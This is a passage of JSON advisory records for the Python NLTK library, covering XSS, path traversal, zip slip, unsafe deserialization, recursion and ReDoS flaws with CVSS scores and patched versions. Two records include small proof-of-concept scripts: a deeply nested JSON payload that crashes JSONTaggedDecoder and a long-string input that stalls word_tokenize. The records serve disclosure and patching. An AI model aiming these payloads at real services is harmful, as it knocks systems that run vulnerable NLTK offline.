links.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-18T20:23:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-gfwx-w7gr-fvh7","https://github.com/nltk/nltk/commit/1c3f799607eeb088cab2491dcf806ae83c29ad8f","https://nvd.nist.gov/vuln/detail/CVE-2026-33230","https://github.com/nltk/nltk/commit/40d0bc1d484a3458d6a63ecb5ba4957ab16ba14e","https://github.com/advisories/GHSA-gfwx-w7gr-fvh7"],"source_kind":"github","identifiers":["GHSA-gfwx-w7gr-fvh7","CVE-2026-33230"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T21:00:11.194Z","updated_at":"2026-08-15T20:04:45.376Z","epss_percentage":0.00331,"epss_percentile":0.25531,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.4","vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R","url":"https://github.com/advisories/GHSA-rf74-v2fm-23pw","title":"Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS","description":"### Summary\n`JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself \nrecursively without any depth limit. A deeply nested JSON structure \nexceeding `sys.getrecursionlimit()` (default: 1000) will raise an \nunhandled `RecursionError`, crashing the Python process.\n\n### Affected code\nFile: `nltk/jsontags.py`, lines 47–52\n```python\n@classmethod\ndef decode_obj(cls, obj):\n    if isinstance(obj, dict):\n        obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}\n    elif isinstance(obj, list):\n        obj = list(cls.decode_obj(val) for val in obj)\n```\n\n### Proof of Concept\n```python\nimport sys, json\nfrom nltk.jsontags import JSONTaggedDecoder\n\ndepth = sys.getrecursionlimit() + 50  # e.g. 1050\npayload = '{\"x\":' * depth + \"null\" + \"}\" * depth\n\n# Raises RecursionError, crashing the process\njson.loads(payload, cls=JSONTaggedDecoder)\n```\n\n### Impact\nAny code path that passes externally-supplied JSON to \n`JSONTaggedDecoder` is vulnerable to denial of service.\nThe severity depends on whether such a path exists in the \ncalling code (e.g. `nltk/data.py`).\n\n### Suggested Fix\nAdd a depth parameter with a hard limit:\n```python\n@classmethod\ndef decode_obj(cls, obj, _depth=0):\n    if _depth \u003e 100:\n        raise ValueError(\"JSON nesting too deep\")\n    if isinstance(obj, dict):\n        obj = {key: cls.decode_obj(val, _depth + 1) \n               for (key, val) in obj.items()}\n    elif isinstance(obj, list):\n        obj = list(cls.decode_obj(val, _depth + 1) for val in obj)\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-18T20:17:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-rf74-v2fm-23pw","https://github.com/advisories/GHSA-rf74-v2fm-23pw"],"source_kind":"github","identifiers":["GHSA-rf74-v2fm-23pw"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T21:00:11.195Z","updated_at":"2026-08-15T20:04:53.395Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4","url":"https://github.com/advisories/GHSA-h8wq-7xc4-p3qx","title":"NLTK has Arbitrary File Read via Absolute Path Input in nltk.util.filestring()","description":"A vulnerability in the `filestring()` function of the `nltk.util` module in nltk version 3.9.2 allows arbitrary file read due to improper validation of input paths. The function directly opens files specified by user input without sanitization, enabling attackers to access sensitive system files by providing absolute paths or traversal paths. This vulnerability can be exploited locally or remotely, particularly in scenarios where the function is used in web APIs or other interfaces that accept user-supplied input.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-09T21:31:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-0846","https://huntr.com/bounties/007b84f8-418e-4300-99d0-bf504c2f97eb","https://github.com/nltk/nltk/pull/3485","https://github.com/nltk/nltk/commit/b2e1164bf89277f79b65406c829b99fb20ca1974","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-97.yaml","https://github.com/advisories/GHSA-h8wq-7xc4-p3qx"],"source_kind":"github","identifiers":["GHSA-h8wq-7xc4-p3qx","CVE-2026-0846"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-18T02:00:11.532Z","updated_at":"2026-08-15T18:03:50.575Z","epss_percentage":0.00428,"epss_percentile":0.35535,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.3","vulnerable_version_range":"\u003c 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz","url":"https://github.com/advisories/GHSA-68j8-pq59-fqgm","title":"NLTK has a Path Traversal issue","description":"A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader. These classes fail to properly sanitize or validate file paths, enabling attackers to traverse directories and access sensitive files on the server. This issue is particularly critical in scenarios where user-controlled file inputs are processed, such as in machine learning APIs, chatbots, or NLP pipelines. Exploitation of this vulnerability can lead to unauthorized access to sensitive files, including system files, SSH private keys, and API tokens, and may potentially escalate to remote code execution when combined with other vulnerabilities.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-04T21:32:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-0847","https://huntr.com/bounties/fc69914f-36a9-4c18-8503-10013b39f966","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-98.yaml","https://github.com/advisories/GHSA-68j8-pq59-fqgm"],"source_kind":"github","identifiers":["GHSA-68j8-pq59-fqgm","CVE-2026-0847"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T20:00:08.704Z","updated_at":"2026-08-15T18:03:26.130Z","epss_percentage":0.00899,"epss_percentile":0.56535,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv","url":"https://github.com/advisories/GHSA-7p94-766c-hgjp","title":"NLTK has a Zip Slip Vulnerability","description":"A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The _unzip_iter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as __init__.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-02-18T18:30:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-14009","https://huntr.com/bounties/49ecbc02-054e-4470-b2e0-b267936cc4e4","https://github.com/nltk/nltk/pull/3468","https://github.com/nltk/nltk/commit/1056b323af6462455571302e766b67cf300aea18","https://github.com/nltk/nltk/blob/4154eb85e832f266660a09286c7e37e308292284/ChangeLog#L1","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-96.yaml","https://github.com/advisories/GHSA-7p94-766c-hgjp"],"source_kind":"github","identifiers":["GHSA-7p94-766c-hgjp","CVE-2025-14009"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-19T21:00:08.821Z","updated_at":"2026-08-15T20:05:35.148Z","epss_percentage":0.0079,"epss_percentile":0.52515,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.3","vulnerable_version_range":"\u003c= 3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK","url":"https://github.com/advisories/GHSA-cgvx-9447-vcch","title":"ntlk unsafe deserialization vulnerability","description":"NLTK through 3.8.1 allows remote code execution if untrusted packages have pickled Python code, and the integrated data package download functionality is used. This affects, for example, averaged_perceptron_tagger and punkt.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-28T00:33:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-39705","https://github.com/nltk/nltk/issues/2522","https://github.com/nltk/nltk/issues/3266","https://github.com/nltk/nltk/commit/441aecb7d33014bd08672232c6c8bb69c2ceaba2","https://www.vicarius.io/vsociety/posts/rce-in-python-nltk-cve-2024-39705-39706","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2024-167.yaml","https://github.com/advisories/GHSA-cgvx-9447-vcch"],"source_kind":"github","identifiers":["GHSA-cgvx-9447-vcch","CVE-2024-39705"],"repository_url":"https://github.com/nltk/nltk","blast_radius":35.70158487540498,"created_at":"2024-06-28T22:05:19.937Z","updated_at":"2026-08-15T20:11:16.994Z","epss_percentage":0.01346,"epss_percentile":0.68521,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9","vulnerable_version_range":"\u003c 3.9"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g","url":"https://github.com/advisories/GHSA-rqjh-jp2r-59cj","title":"NLTK Vulnerable to REDoS","description":"NLTK is vulnerable to REDoS in some RegexpTaggers used in the functions `get_pos_tagger` and `malt_regex_tagger`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-01-06T22:24:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3842","https://github.com/nltk/nltk/commit/2a50a3edc9d35f57ae42a921c621edc160877f4d","https://huntr.dev/bounties/761a761e-2be2-430a-8d92-6f74ffe9866a","https://github.com/nltk/nltk/pull/2906","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2022-5.yaml","https://github.com/advisories/GHSA-rqjh-jp2r-59cj"],"source_kind":"github","identifiers":["GHSA-rqjh-jp2r-59cj","CVE-2021-3842"],"repository_url":"https://github.com/nltk/nltk","blast_radius":41.41383845546978,"created_at":"2022-12-21T16:12:39.177Z","updated_at":"2026-08-21T12:10:10.202Z","epss_percentage":0.01461,"epss_percentile":0.71532,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.6.6","vulnerable_version_range":"\u003c 3.6.6"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mOG02LWgyYzctOGg5eM0g4Q","url":"https://github.com/advisories/GHSA-f8m6-h2c7-8h9x","title":"Inefficient Regular Expression Complexity in nltk (word_tokenize, sent_tokenize)","description":"### Impact\nThe vulnerability is present in [`PunktSentenceTokenizer`](https://www.nltk.org/api/nltk.tokenize.punkt.html#nltk.tokenize.punkt.PunktSentenceTokenizer), [`sent_tokenize`](https://www.nltk.org/api/nltk.tokenize.html#nltk.tokenize.sent_tokenize)  and [`word_tokenize`](https://www.nltk.org/api/nltk.tokenize.html#nltk.tokenize.word_tokenize). Any users of this class, or these two functions, are vulnerable to a Regular Expression Denial of Service (ReDoS) attack. \nIn short, a specifically crafted long input to any of these vulnerable functions will cause them to take a significant amount of execution time. The effect of this vulnerability is noticeable with the following example:\n```python\nfrom nltk.tokenize import word_tokenize\n\nn = 8\nfor length in [10**i for i in range(2, n)]:\n    # Prepare a malicious input\n    text = \"a\" * length\n    start_t = time.time()\n    # Call `word_tokenize` and naively measure the execution time\n    word_tokenize(text)\n    print(f\"A length of {length:\u003c{n}} takes {time.time() - start_t:.4f}s\")\n```\nWhich gave the following output during testing:\n```python\nA length of 100      takes 0.0060s\nA length of 1000     takes 0.0060s\nA length of 10000    takes 0.6320s\nA length of 100000   takes 56.3322s\n...\n```\nI canceled the execution of the program after running it for several hours.\n\nIf your program relies on any of the vulnerable functions for tokenizing unpredictable user input, then we would strongly recommend upgrading to a version of NLTK without the vulnerability, or applying the workaround described below.\n\n### Patches\nThe problem has been patched in NLTK 3.6.6. After the fix, running the above program gives the following result:\n```python\nA length of 100      takes 0.0070s\nA length of 1000     takes 0.0010s\nA length of 10000    takes 0.0060s\nA length of 100000   takes 0.0400s\nA length of 1000000  takes 0.3520s\nA length of 10000000 takes 3.4641s\n```\nThis output shows a linear relationship in execution time versus input length, which is desirable for regular expressions.\nWe recommend updating to NLTK 3.6.6+ if possible.\n\n### Workarounds\nThe execution time of the vulnerable functions is exponential to the length of a malicious input. With other words, the execution time can be bounded by limiting the maximum length of an input to any of the vulnerable functions. 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